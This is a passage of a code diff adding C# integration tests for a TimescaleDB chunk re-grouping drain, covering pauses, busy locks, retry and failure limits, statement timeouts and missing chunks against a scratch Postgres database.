+    /// The pause after a chunk is the chunk's own time when that is longer than the floor (#5574): with no floor, the
+    /// pause the drain asks for after each chunk equals the milliseconds the chunk's own log line says it took.
+    /// </summary>
+    [Fact]
+    public async Task ThePauseAfterAChunk_IsAtLeastTheTimeThatChunkTook()
+    {
+        var connectionString = RequireLivePostgres();
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(connectionString, ct);
+        using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await BuildOldStoreAsync(connection, scratch.ConnectionString, ct);
+        await ExecAsync(connection, TimescaleSupport.EnableCompressionSql(TimescaleSupport.PerfmonStatsTable), ct);
+
+        var logger = new CapturingTestLogger();
+        var pauses = new List<TimeSpan>();
+        Assert.Equal(5, await RunBoundedAsync(NewDrain(scratch.ConnectionString, logger, TimeSpan.Zero, pauses), 120, ct));
+
+        var tookMs = logger.Lines
+            .Select(line => Regex.Match(line, @"re-grouped perfmon_stats chunk \S+ \(\d+ rows\) from .* in (\d+) ms"))
+            .Where(match => match.Success).Select(match => long.Parse(match.Groups[1].Value, System.Globalization.CultureInfo.InvariantCulture)).ToList();
+        Assert.Equal(5, tookMs.Count);
+        Assert.Equal(4, pauses.Count);
+        for (var i = 0; i < pauses.Count; i++)
+        {
+            Assert.True(pauses[i].TotalMilliseconds >= tookMs[i] && pauses[i].TotalMilliseconds < tookMs[i] + 2000,
+                $"pause {i} was {pauses[i].TotalMilliseconds} ms, but chunk {i} took {tookMs[i]} ms");
+            Assert.True(pauses[i] > TimeSpan.Zero);
+        }
+    }
+
+    /// <summary>
+    /// A chunk whose lock is held is skipped for the rest of the run (#5574): the newest chunk is held by another session,
+    /// the decompress gives up after the 3 s lock timeout, the other four are re-grouped, the held one is not tried a
+    /// second time, and a pause (the floor) follows the busy one like any other.
+    /// </summary>
+    [Fact]
+    public async Task ABusyChunk_IsSkippedForTheRun_AndTheOthersAreReGrouped()
+    {
+        var connectionString = RequireLivePostgres();
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(connectionString, ct);
+        using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await BuildOldStoreAsync(connection, scratch.ConnectionString, ct);
+        await ExecAsync(connection, TimescaleSupport.EnableCompressionSql(TimescaleSupport.PerfmonStatsTable), ct);
+        TimescaleSupport.BusyStreaks.Reset();
+
+        var held = ChunkOfDay(await ReadChunksAsync(connection, ct), 1);
+        await using var holder = await HoldLockAsync(scratch.ConnectionString, held.Name, ct);
+        var logger = new CapturingTestLogger();
+        var pauses = new List<TimeSpan>();
+        Assert.Equal(4, await RunBoundedAsync(NewDrain(scratch.ConnectionString, logger, TimeSpan.FromSeconds(90), pauses), 60, ct));
+        await holder.ReleaseAsync(ct);
+
+        var after = await ReadChunksAsync(connection, ct);
+        Assert.Equal(OldChunkSegmentBy, after.Single(chunk => chunk.Name == held.Name).SegmentBy);
+        Assert.All(after.Where(chunk => chunk.Name != held.Name && chunk.Start > RunStartUtc.AddDays(-30)), chunk => Assert.Equal(WantedChunkSegmentBy, chunk.SegmentBy));
+        Assert.Single(logger.Lines, line => line.Contains("not changed this pass", StringComparison.Ordinal) && line.Contains(held.Name, StringComparison.Ordinal));
+        Assert.Contains(logger.Lines, line => line.Contains("1 skipped", StringComparison.Ordinal));
+        Assert.Equal(4, pauses.Count);
+        Assert.All(pauses, pause => Assert.Equal(TimeSpan.FromSeconds(90), pause));
+        TimescaleSupport.BusyStreaks.Reset();
+    }
+
+    /// <summary>
+    /// Three chunks in a row that fail (an error that is not a busy lock) stop the run (#5574). The drain's connection is
+    /// read-only here, so every decompress fails the same way; the run ends after the third, with one Warning saying so,
+    /// and the other two chunks are never touched.
+    /// </summary>
+    [Fact]
+    public async Task ThreeFailuresInARow_StopTheRun()
+    {
+        var connectionString = RequireLivePostgres();
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(connectionString, ct);
+        using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await BuildOldStoreAsync(connection, scratch.ConnectionString, ct);
+        await ExecAsync(connection, TimescaleSupport.EnableCompressionSql(TimescaleSupport.PerfmonStatsTable), ct);
+        var before = await ReadChunksAsync(connection, ct);
+
+        var logger = new CapturingTestLogger();
+        var drain = new PerfmonRegroupDrain(
+            async token =>
+            {
+                var readOnly = new NpgsqlConnection(scratch.ConnectionString);
+                await readOnly.OpenAsync(token);
+                await ExecAsync(readOnly, "SET default_transaction_read_only = on", token);
+                return readOnly;
+            },
+            logger, 30, TimeSpan.Zero, (pause, token) => Task.CompletedTask);
+
+        Assert.Equal(0, await RunBoundedAsync(drain, 60, ct));
+        Assert.Equal(3, logger.Lines.Count(line => line.Contains("(decompress) could not be changed", StringComparison.Ordinal)));
+        Assert.Single(logger.Lines, line => line.Contains("3 perfmon_stats chunks in a row could not be re-grouped", StringComparison.Ordinal));
+        Assert.Equal(before, await ReadChunksAsync(connection, ct));
+    }
+
+    /// <summary>
+    /// The compress half is retried (#5574): the chunk is already decompressed when it starts, so a lock another session
+    /// holds for a moment costs a try, not the chunk. The first try gives up after the lock timeout, the lock is then
+    /// released, and the second try compresses the chunk with the new grouping.
+    /// </summary>
+    [Fact]
+    public async Task TheCompressHalf_IsRetriedAfterABusyLock_AndSucceedsOnALaterTry()
+    {
+        var connectionString = RequireLivePostgres();
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(connectionString, ct);
+        using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await BuildOldStoreAsync(connection, scratch.ConnectionString, ct);
+        await ExecAsync(connection, TimescaleSupport.EnableCompressionSql(TimescaleSupport.PerfmonStatsTable), ct);
+        TimescaleSupport.BusyStreaks.Reset();
+
+        var chunk = ChunkOfDay(await ReadChunksAsync(connection, ct), 3);
+        await ExecAsync(connection, $"SELECT decompress_chunk('{chunk.Name}')", ct);
+        await using var holder = await HoldLockAsync(scratch.ConnectionString, chunk.Name, ct);
+        var logger = new CapturingTestLogger();
+        var compress = TimescaleSupport.CompressRegroupedChunkAsync(connection, logger, chunk.Name, 3, TimeSpan.FromMilliseconds(200), ct);
+        await WaitForAsync(() => logger.Lines.Any(line => line.Contains("not changed this pass", StringComparison.Ordinal)), 15, ct);
+        await holder.ReleaseAsync(ct);
+        var compressed = await compress;
+
+        Assert.Equal(TimescaleSupport.PerfmonRegroupChunkResult.Regrouped, compressed);
+        Assert.Equal(1, logger.Lines.Count(line => line.Contains("not changed this pass", StringComparison.Ordinal)));
+        Assert.Equal(0, logger.CountAtLevel(Microsoft.Extensions.Logging.LogLevel.Warning));
+        var after = (await ReadChunksAsync(connection, ct)).Single(c => c.Name == chunk.Name);
+        Assert.True(after.IsCompressed);
+        Assert.Equal(WantedChunkSegmentBy, after.SegmentBy);
+        TimescaleSupport.BusyStreaks.Reset();
+    }
+
+    /// <summary>
+    /// When every try of the compress half is busy (#5574), the chunk is left uncompressed with ONE Warning, after exactly
+    /// the attempts it is given, and the compression policy compresses it with the new grouping once the lock is gone.
+    /// </summary>
+    [Fact]
+    public async Task WhenEveryCompressTryIsBusy_TheChunkIsLeftToThePolicy_WithOneWarning()
+    {
+        var connectionString = RequireLivePostgres();
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(connectionString, ct);
+        using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await BuildOldStoreAsync(connection, scratch.ConnectionString, ct);
+        await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+        await TimescaleSupport.ApplyCompressionPolicyAsync(connection, null, ct);
+        TimescaleSupport.BusyStreaks.Reset();
+
+        var chunk = ChunkOfDay(await ReadChunksAsync(connection, ct), 3);
+        await ExecAsync(connection, $"SELECT decompress_chunk('{chunk.Name}')", ct);
+        await using var holder = await HoldLockAsync(scratch.ConnectionString, chunk.Name, ct);
+        var logger = new CapturingTestLogger();
+        Assert.Equal(TimescaleSupport.PerfmonRegroupChunkResult.LeftUncompressed, await TimescaleSupport.CompressRegroupedChunkAsync(connection, logger, chunk.Name, 3, TimeSpan.Zero, ct));
+        await holder.ReleaseAsync(ct);
+
+        Assert.Equal(3, logger.Lines.Count(line => line.Contains("not changed this pass", StringComparison.Ordinal)));
+        Assert.Single(logger.Lines, line => line.StartsWith("Warning:", StringComparison.Ordinal) && line.Contains("stays uncompressed", StringComparison.Ordinal));
+
+        /* Every Warning, not one text (#5574): the three in-call tries are not "three passes in a row". */
+        Assert.Equal(1, logger.CountAtLevel(Microsoft.Extensions.Logging.LogLevel.Warning));
+        Assert.False((await ReadChunksAsync(connection, ct)).Single(c => c.Name == chunk.Name).IsCompressed);
+
+        await RunPerfmonPolicyAsync(connection, ct);
+        var after = (await ReadChunksAsync(connection, ct)).Single(c => c.Name == chunk.Name);
+        Assert.True(after.IsCompressed);
+        Assert.Equal(WantedChunkSegmentBy, after.SegmentBy);
+        TimescaleSupport.BusyStreaks.Reset();
+    }
+
+    /// <summary>
+    /// The plan shape the whole change is for (#5574): a one-counter read over a chunk filters the COMPRESSED chunk on the
+    /// segment columns, <c>server_id</c> and <c>counter_name</c>, once it is re-grouped. Over the same chunk before the
+    /// re-group only <c>server_id</c> is a segment column, so the counter is tested after the batches are decompressed.
+    /// The filters are the trend read's own (equality on both, a time window).
+    /// </summary>
+    [Fact]
+    public async Task AOneCounterRead_FiltersTheCompressedChunkOnBothSegmentColumns_OnceItIsReGrouped()
+    {
+        var connectionString = RequireLivePostgres();
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(connectionString, ct);
+        using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await BuildOldStoreAsync(connection, scratch.ConnectionString, ct);
+        var day = ChunkOfDay(await ReadChunksAsync(connection, ct), 3);
+
+        var before = await CompressedScanFilterAsync(connection, day.Start, ct);
+        Assert.Contains("server_id", before, StringComparison.Ordinal);
+        Assert.DoesNotContain("counter_name", before, StringComparison.Ordinal);
+
+        await ExecAsync(connection, TimescaleSupport.EnableCompressionSql(TimescaleSupport.PerfmonStatsTable), ct);
+        Assert.Equal(5, await RunBoundedAsync(NewDrain(scratch.ConnectionString, new CapturingTestLogger(), TimeSpan.Zero, new List<TimeSpan>()), 120, ct));
+
+        var after = await CompressedScanFilterAsync(connection, day.Start, ct);
+        Assert.Contains("server_id", after, StringComparison.Ordinal);
+        Assert.Contains("counter_name", after, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// A service stop during the drain's pause ends the run at once (#5574): the pause is waited on with the stopping token,
+    /// so the run's task completes within a moment, without a warning, with the chunks it had not reached untouched.
+    /// </summary>
+    [Fact]
+    public async Task AServiceStopDuringThePause_EndsTheRunPromptly_WithoutAWarning()
+    {
+        var connectionString = RequireLivePostgres();
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(connectionString, ct);
+        using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await BuildOldStoreAsync(connection, scratch.ConnectionString, ct);
+        await ExecAsync(connection, TimescaleSupport.EnableCompressionSql(TimescaleSupport.PerfmonStatsTable), ct);
+
+        var logger = new CapturingTestLogger();
+        var pauseRequested = 0;
+        var drain = new PerfmonRegroupDrain(
+            async token =>
+            {
+                var drainConnection = new NpgsqlConnection(scratch.ConnectionString);
+                await drainConnection.OpenAsync(token);
+                return drainConnection;
+            },
+            logger, 30, TimeSpan.FromSeconds(90),
+            async (pause, token) =>
+            {
+                Interlocked.Increment(ref pauseRequested);
+                await Task.Delay(Timeout.Infinite, token);
+            });
+
+        using var stopping = new CancellationTokenSource();
+        Assert.True(drain.StartIfIdle(stopping.Token));
+        await WaitForAsync(() => Volatile.Read(ref pauseRequested) > 0, 60, ct);
+        stopping.Cancel();
+
+        var finished = await Task.WhenAny(drain.Completion!, Task.Delay(TimeSpan.FromSeconds(10), ct));
+        Assert.Same(drain.Completion, finished);
+        Assert.False(drain.Completion!.IsFaulted);
+        Assert.Equal(0, logger.CountAtLevel(Microsoft.Extensions.Logging.LogLevel.Warning));
+        var after = await ReadChunksAsync(connection, ct);
+        Assert.Equal(1, after.Count(chunk => chunk.SegmentBy == WantedChunkSegmentBy));
+        Assert.Equal(5, after.Count(chunk => chunk.SegmentBy == OldChunkSegmentBy));
+    }
+
+    /* ---------------- check round 1 (#5579) ---------------- */
+
+    /// <summary>
+    /// A busy lock pauses the drain as long as the work it cost, like every other outcome (#5574, M1): a lock lost at the END of
+    /// a decompress throws the whole rewrite away, and the pause is that time, not the floor. Here the lock is lost at the start
+    /// (the 3 s lock wait is the time spent), the floor is 1 ms, and the pause after the busy chunk must still be the wait; a
+    /// busy chunk that cost at least the lost-work threshold also gets its own Information line saying so.
+    /// </summary>
+    [Fact]
+    public async Task ABusyLock_PausesAsLongAsTheTimeItCost_AndALongOneSaysSo()
+    {
+        var connectionString = RequireLivePostgres();
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(connectionString, ct);
+        using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await BuildOldStoreAsync(connection, scratch.ConnectionString, ct);
+        await ExecAsync(connection, TimescaleSupport.EnableCompressionSql(TimescaleSupport.PerfmonStatsTable), ct);
+        TimescaleSupport.BusyStreaks.Reset();
+
+        var held = ChunkOfDay(await ReadChunksAsync(connection, ct), 1);
+        await using var holder = await HoldLockAsync(scratch.ConnectionString, held.Name, ct);
+        var logger = new CapturingTestLogger();
+        var pauses = new List<TimeSpan>();
+        var run = await RunDetailedBoundedAsync(
+            NewDrain(scratch.ConnectionString, logger, TimeSpan.FromMilliseconds(1), pauses, lostWorkThreshold: TimeSpan.FromSeconds(1)), 60, ct);
+        await holder.ReleaseAsync(ct);
+
+        Assert.Equal(4, run.Done);
+        Assert.True(pauses[0] >= TimeSpan.FromSeconds(2.5), $"the pause after the busy chunk was {pauses[0].TotalSeconds:0.0} s, not the {TimescaleSupport.HourlyDdlLockTimeout} it cost");
+        Assert.Single(logger.Lines, line => line.Contains("was lost after", StringComparison.Ordinal) && line.Contains(held.Name, StringComparison.Ordinal));
+        TimescaleSupport.BusyStreaks.Reset();
+    }
+
+    /// <summary>
+    /// A decompress that runs into its statement cap is not retried while the process lives (#5574, M2): the newest chunk's lock is
+    /// held, so its decompress waits and the 2 s cap (a test value for the 30 minutes) ends it before the 3 s lock timeout. The
+    /// other four chunks are re-grouped, the capped one is untouched with ONE Warning, and a second run of the same drain does not
+    /// try it again even though it is still a candidate.
+    /// </summary>
+    [Fact]
+    public async Task ADecompressThatHitsTheStatementCap_IsNotTriedAgainForTheLifeOfTheProcess()
+    {
+        var connectionString = RequireLivePostgres();
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(connectionString, ct);
+        using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await BuildOldStoreAsync(connection, scratch.ConnectionString, ct);
+        await ExecAsync(connection, TimescaleSupport.EnableCompressionSql(TimescaleSupport.PerfmonStatsTable), ct);
+        TimescaleSupport.BusyStreaks.Reset();
+
+        var held = ChunkOfDay(await ReadChunksAsync(connection, ct), 1);
+        await using var holder = await HoldLockAsync(scratch.ConnectionString, held.Name, ct);
+        var logger = new CapturingTestLogger();
+        var drain = NewDrain(scratch.ConnectionString, logger, TimeSpan.Zero, new List<TimeSpan>(), statementTimeoutSeconds: 2);
+        var first = await RunDetailedBoundedAsync(drain, 60, ct);
+        await holder.ReleaseAsync(ct);
+
+        Assert.Equal(4, first.Done);
+        Assert.Equal(1, logger.CountAtLevel(Microsoft.Extensions.Logging.LogLevel.Warning));
+        Assert.Single(logger.Lines, line => line.Contains("could not be decompressed within 2 s", StringComparison.Ordinal) && line.Contains("hit the statement cap after", StringComparison.Ordinal) && line.Contains(held.Name, StringComparison.Ordinal));
+        Assert.DoesNotContain(logger.Lines, line => line.Contains("cancelled by the server", StringComparison.Ordinal));
+        Assert.Equal(OldChunkSegmentBy, (await ReadChunksAsync(connection, ct)).Single(chunk => chunk.Name == held.Name).SegmentBy);
+
+        var linesBefore = logger.Lines.Count;
+        var second = await RunDetailedBoundedAsync(drain, 60, ct);
+        Assert.Equal(0, second.Done);
+        Assert.Equal(PerfmonRegroupRunEnd.AllSkipped, second.End);
+        Assert.DoesNotContain(logger.Lines.Skip(linesBefore), line => line.Contains("(decompress)", StringComparison.Ordinal));
+        Assert.Equal(OldChunkSegmentBy, (await ReadChunksAsync(connection, ct)).Single(chunk => chunk.Name == held.Name).SegmentBy);
+        TimescaleSupport.BusyStreaks.Reset();
+    }
+
+    /// <summary>
+    /// A decompress the SERVER cancels before the 30-minute cap (a short <c>statement_timeout</c> on the role, a cancel from
+    /// another session) is still not tried again until the restart, so a short server timeout does not cost a rewrite every hour,
+    /// but the log tells the truth about it (#5574, check round 2): "cancelled by the server" with the real elapsed time, not
+    /// "could not be decompressed within 1800 s". The session's <c>statement_timeout</c> is 2 s here, under the 3 s lock wait the
+    /// held chunk gives, so the server cancels first and the cap (the default 1800 s) is nowhere near.
+    /// </summary>
+    [Fact]
+    public async Task ADecompressTheServerCancelsBeforeTheCap_IsNotTriedAgain_AndTheLogSaysTheServerDidIt()
+    {
+        var connectionString = RequireLivePostgres();
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(connectionString, ct);
+        using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await BuildOldStoreAsync(connection, scratch.ConnectionString, ct);
+        await ExecAsync(connection, TimescaleSupport.EnableCompressionSql(TimescaleSupport.PerfmonStatsTable), ct);
+        TimescaleSupport.BusyStreaks.Reset();
+
+        var held = ChunkOfDay(await ReadChunksAsync(connection, ct), 1);
+        var stub = new TimescaleSupport.PerfmonRegroupRead(
+            TimescaleSupport.PerfmonRegroupReadStatus.Candidates,
+            new[] { new TimescaleSupport.PerfmonRegroupCandidate(held.Name, OldChunkSegmentBy) }, null);
+        var drainConnection = new NpgsqlConnectionStringBuilder(scratch.ConnectionString) { Options = "-c statement_timeout=2000" }.ConnectionString;
+        await using var holder = await HoldLockAsync(scratch.ConnectionString, held.Name, ct);
+        var logger = new CapturingTestLogger();
+        var drain = NewDrain(drainConnection, logger, TimeSpan.Zero, new List<TimeSpan>(), readCandidates: FixedRead(stub));
+        var first = await RunDetailedBoundedAsync(drain, 60, ct);
+        await holder.ReleaseAsync(ct);
+
+        Assert.Equal(0, first.Done);
+        Assert.Single(logger.Lines, line => line.Contains("cancelled by the server", StringComparison.Ordinal)
+            && line.Contains(held.Name, StringComparison.Ordinal) && line.Contains("before the 1800 s statement cap", StringComparison.Ordinal));
+        Assert.DoesNotContain(logger.Lines, line => line.Contains("could not be decompressed within", StringComparison.Ordinal) || line.Contains("hit the statement cap", StringComparison.Ordinal));
+        Assert.Equal(OldChunkSegmentBy, (await ReadChunksAsync(connection, ct)).Single(chunk => chunk.Name == held.Name).SegmentBy);
+
+        /* Not tried again while the process lives, though the stub keeps answering with it. */
+        var linesBefore = logger.Lines.Count;
+        var second = await RunDetailedBoundedAsync(drain, 60, ct);
+        Assert.Equal(0, second.Done);
+        Assert.Equal(PerfmonRegroupRunEnd.AllSkipped, second.End);
+        Assert.DoesNotContain(logger.Lines.Skip(linesBefore), line => line.Contains("(decompress)", StringComparison.Ordinal));
+        TimescaleSupport.BusyStreaks.Reset();
+    }
+
+    /// <summary>
+    /// The compress half retries ONLY a busy lock (#5574, M2): a statement that ran into its cap ends the tries at once, with the
+    /// statement's own Warning and no second one, instead of three whole compressions.
+    /// </summary>
+    [Fact]
+    public async Task TheCompressHalf_IsNotRetriedAfterAnythingButABusyLock()
+    {
+        var connectionString = RequireLivePostgres();
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(connectionString, ct);
+        using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await BuildOldStoreAsync(connection, scratch.ConnectionString, ct);
+        await ExecAsync(connection, TimescaleSupport.EnableCompressionSql(TimescaleSupport.PerfmonStatsTable), ct);
+        TimescaleSupport.BusyStreaks.Reset();
+
+        var chunk = ChunkOfDay(await ReadChunksAsync(connection, ct), 3);
+        await ExecAsync(connection, $"SELECT decompress_chunk('{chunk.Name}')", ct);
+        await using var holder = await HoldLockAsync(scratch.ConnectionString, chunk.Name, ct);
+        var logger = new CapturingTestLogger();
+        Assert.Equal(TimescaleSupport.PerfmonRegroupChunkResult.LeftUncompressed, await TimescaleSupport.CompressRegroupedChunkAsync(connection, logger, chunk.Name, 3, TimeSpan.Zero, ct, statementTimeoutSeconds: 1));
+        await holder.ReleaseAsync(ct);
+
+        Assert.Equal(1, logger.Lines.Count(line => line.Contains("(compress) could not be changed", StringComparison.Ordinal)));
+        Assert.Equal(1, logger.CountAtLevel(Microsoft.Extensions.Logging.LogLevel.Warning));
+        Assert.Equal(0, logger.Lines.Count(line => line.Contains("not changed this pass", StringComparison.Ordinal)));
+        TimescaleSupport.BusyStreaks.Reset();
+    }
+
+    /// <summary>
+    /// A chunk that stays a candidate after this process re-grouped it is not rewritten forever (#5574, L2): the candidates read is
+    /// stubbed to keep answering with the chunk (as a TimescaleDB that spells the setting another way would), the drain rewrites it
+    /// once, skips it when it comes back with ONE Warning naming the setting text, and says nothing more in a second run.
+    /// </summary>
+    [Fact]
+    public async Task AChunkThatStaysACandidateAfterItsReGroup_IsSkipped_WithOneWarningPerProcess()
+    {
+        var connectionString = RequireLivePostgres();
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(connectionString, ct);
+        using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await BuildOldStoreAsync(connection, scratch.ConnectionString, ct);
+        await ExecAsync(connection, TimescaleSupport.EnableCompressionSql(TimescaleSupport.PerfmonStatsTable), ct);
+
+        var chunk = ChunkOfDay(await ReadChunksAsync(connection, ct), 2);
+        var stub = new TimescaleSupport.PerfmonRegroupRead(
+            TimescaleSupport.PerfmonRegroupReadStatus.Candidates,
+            new[] { new TimescaleSupport.PerfmonRegroupCandidate(chunk.Name, "server_id, counter_name") }, null);
+        var logger = new CapturingTestLogger();
+        var drain = NewDrain(scratch.ConnectionString, logger, TimeSpan.Zero, new List<TimeSpan>(), readCandidates: FixedRead(stub));
+
+        var first = await RunDetailedBoundedAsync(drain, 30, ct);
+        Assert.Equal(1, first.Done);
+        Assert.Equal(PerfmonRegroupRunEnd.AllSkipped, first.End);
+        Assert.Equal(1, logger.Lines.Count(line => line.Contains("re-grouped perfmon_stats chunk", StringComparison.Ordinal)));
+        Assert.Equal(1, logger.CountAtLevel(Microsoft.Extensions.Logging.LogLevel.Warning));
+        Assert.Single(logger.Lines, line => line.StartsWith("Warning:", StringComparison.Ordinal) && line.Contains("'server_id, counter_name'", StringComparison.Ordinal));
+
+        var second = await RunDetailedBoundedAsync(drain, 30, ct);
+        Assert.Equal(0, second.Done);
+        Assert.Equal(1, logger.CountAtLevel(Microsoft.Extensions.Logging.LogLevel.Warning));
+        Assert.Equal(1, logger.Lines.Count(line => line.Contains("re-grouped perfmon_stats chunk", StringComparison.Ordinal)));
+    }
+
+    /// <summary>
+    /// A compressed chunk with no per-chunk settings row counts as the old grouping (#5574, L3): the row is deleted from the
+    /// catalog, and the candidates read still lists the chunk (an INNER JOIN to the view dropped it).
+    /// </summary>
+    [Fact]
+    public async Task AChunkWithNoPerChunkSettingsRow_IsACandidate()
+    {
+        var connectionString = RequireLivePostgres();
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(connectionString, ct);
+        using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await BuildOldStoreAsync(connection, scratch.ConnectionString, ct);
+        await ExecAsync(connection, TimescaleSupport.EnableCompressionSql(TimescaleSupport.PerfmonStatsTable), ct);
+
+        var chunk = ChunkOfDay(await ReadChunksAsync(connection, ct), 2);
+        await ExecAsync(connection, $"DELETE FROM _timescaledb_catalog.compression_settings WHERE relid = '{chunk.Name}'::regclass", ct);
+        Assert.Equal("", (await ReadChunksAsync(connection, ct)).Single(c => c.Name == chunk.Name).SegmentBy);
+
+        var read = await TimescaleSupport.ReadPerfmonRegroupCandidatesAsync(connection, null, 30, ct);
+        Assert.Equal(TimescaleSupport.PerfmonRegroupReadStatus.Candidates, read.Status);
+        Assert.Contains(read.Candidates, candidate => candidate.Chunk == chunk.Name && candidate.OldSegmentBy is null);
+        Assert.Equal(5, read.Candidates.Count);
+    }
+
+    /// <summary>
+    /// A chunk that retention dropped between the candidates read and the decompress is skipped, not failed (#5574, L4): no
+    /// Warning, no count toward the failure limit (so the four others behind it, here three, are still tried).
+    /// </summary>
+    [Fact]
+    public async Task AChunkThatIsGoneAtDecompressTime_IsSkippedQuietly_NotFailed()
+    {
+        var connectionString = RequireLivePostgres();
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(connectionString, ct);
+        using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await BuildOldStoreAsync(connection, scratch.ConnectionString, ct);
+        await ExecAsync(connection, TimescaleSupport.EnableCompressionSql(TimescaleSupport.PerfmonStatsTable), ct);
+
+        /* THREE gone chunks (the failure limit is three in a row): a gone chunk that counted as a failure would end the run at the
+           third, and the run would end FailureLimit with a Warning instead of getting past all three (#5574, check round 2). */
+        var gone = Enumerable.Range(1, 3)
+            .Select(n => new TimescaleSupport.PerfmonRegroupCandidate($"_timescaledb_internal._hyper_99999_{n}_chunk", OldChunkSegmentBy))
+            .ToArray();
+        var stub = new TimescaleSupport.PerfmonRegroupRead(TimescaleSupport.PerfmonRegroupReadStatus.Candidates, gone, null);
+        var logger = new CapturingTestLogger();
+        var run = await RunDetailedBoundedAsync(NewDrain(scratch.ConnectionString, logger, TimeSpan.Zero, new List<TimeSpan>(), readCandidates: FixedRead(stub)), 30, ct);
+
+        Assert.Equal(0, run.Done);
+        Assert.Equal(PerfmonRegroupRunEnd.AllSkipped, run.End);
+        Assert.Equal(0, logger.CountAtLevel(Microsoft.Extensions.Logging.LogLevel.Warning));
+        Assert.DoesNotContain(logger.Lines, line => line.Contains("in a row could not be re-grouped", StringComparison.Ordinal));
+        foreach (var candidate in gone)
+        {
+            Assert.Contains(logger.Lines, line => line.StartsWith("Debug:", StringComparison.Ordinal)
+                && line.Contains(candidate.Chunk, StringComparison.Ordinal) && line.Contains("no longer exists", StringComparison.Ordinal));
+        }
+    }
+
+    /// <summary>
+    /// A chunk that is gone by the compress half is Gone too, not "left for the policy" (#5574, check round 2): no Warning, no
+    /// "stays uncompressed until the compression policy compresses it" line (there is nothing to compress). And a 42P01 on a chunk the
+    /// catalog still lists is a Failed chunk with a Warning, never Gone.
+    /// </summary>
+    [Fact]
+    public async Task ARelationErrorIsGoneOnlyWhenTheChunkCatalogAgrees_AtEitherHalf()
+    {
+        var connectionString = RequireLivePostgres();
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(connectionString, ct);
+        using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await BuildOldStoreAsync(connection, scratch.ConnectionString, ct);
+        await ExecAsync(connection, TimescaleSupport.EnableCompressionSql(TimescaleSupport.PerfmonStatsTable), ct);
+        TimescaleSupport.BusyStreaks.Reset();
+
+        /* The compress half on a chunk that is not there. */
+        var goneLogger = new CapturingTestLogger();
+        var result = await TimescaleSupport.CompressRegroupedChunkAsync(
+            connection, goneLogger, "_timescaledb_internal._hyper_99999_9_chunk", 3, TimeSpan.Zero, ct);
+        Assert.Equal(TimescaleSupport.PerfmonRegroupChunkResult.Gone, result);
+        Assert.Equal(0, goneLogger.CountAtLevel(Microsoft.Extensions.Logging.LogLevel.Warning));
+        Assert.DoesNotContain(goneLogger.Lines, line => line.Contains("compression policy", StringComparison.Ordinal));
+        Assert.Single(goneLogger.Lines, line => line.StartsWith("Debug:", StringComparison.Ordinal) && line.Contains("no longer exists (compress half;", StringComparison.Ordinal));
+
+        /* The same relation error on a chunk the catalog still lists: Failed, with a Warning that says why. */
+        var listed = ChunkOfDay(await ReadChunksAsync(connection, ct), 2);
+        foreach (var half in new[] { "decompress", "compress" })
+        {
+            var listedLogger = new CapturingTestLogger();
+            var listedResult = await TimescaleSupport.ResolveMissingRelationAsync(connection, listedLogger, listed.Name, half, ct);
+            Assert.Equal(TimescaleSupport.PerfmonRegroupChunkResult.Failed, listedResult);
+            Assert.Equal(1, listedLogger.CountAtLevel(Microsoft.Extensions.Logging.LogLevel.Warning));
+            Assert.Single(listedLogger.Lines, line => line.StartsWith("Warning:", StringComparison.Ordinal)
+                && line.Contains(half, StringComparison.Ordinal) && line.Contains("still lists the chunk", StringComparison.Ordinal));
+        }
+
+        var goneDirect = await TimescaleSupport.ResolveMissingRelationAsync(connection, null, "_timescaledb_internal._hyper_99999_9_chunk", "decompress", ct);
+        Assert.Equal(TimescaleSupport.PerfmonRegroupChunkResult.Gone, goneDirect);
+    }
+
+    /// <summary>
+    /// The reach is the shorter of 30 days and one day under the perfmon retention (#5574, L4): with a fleet retention of 4 days
+    /// only the chunks of the last 3 days are re-grouped, the 4- and 5-day-old ones (about to be dropped) are left.
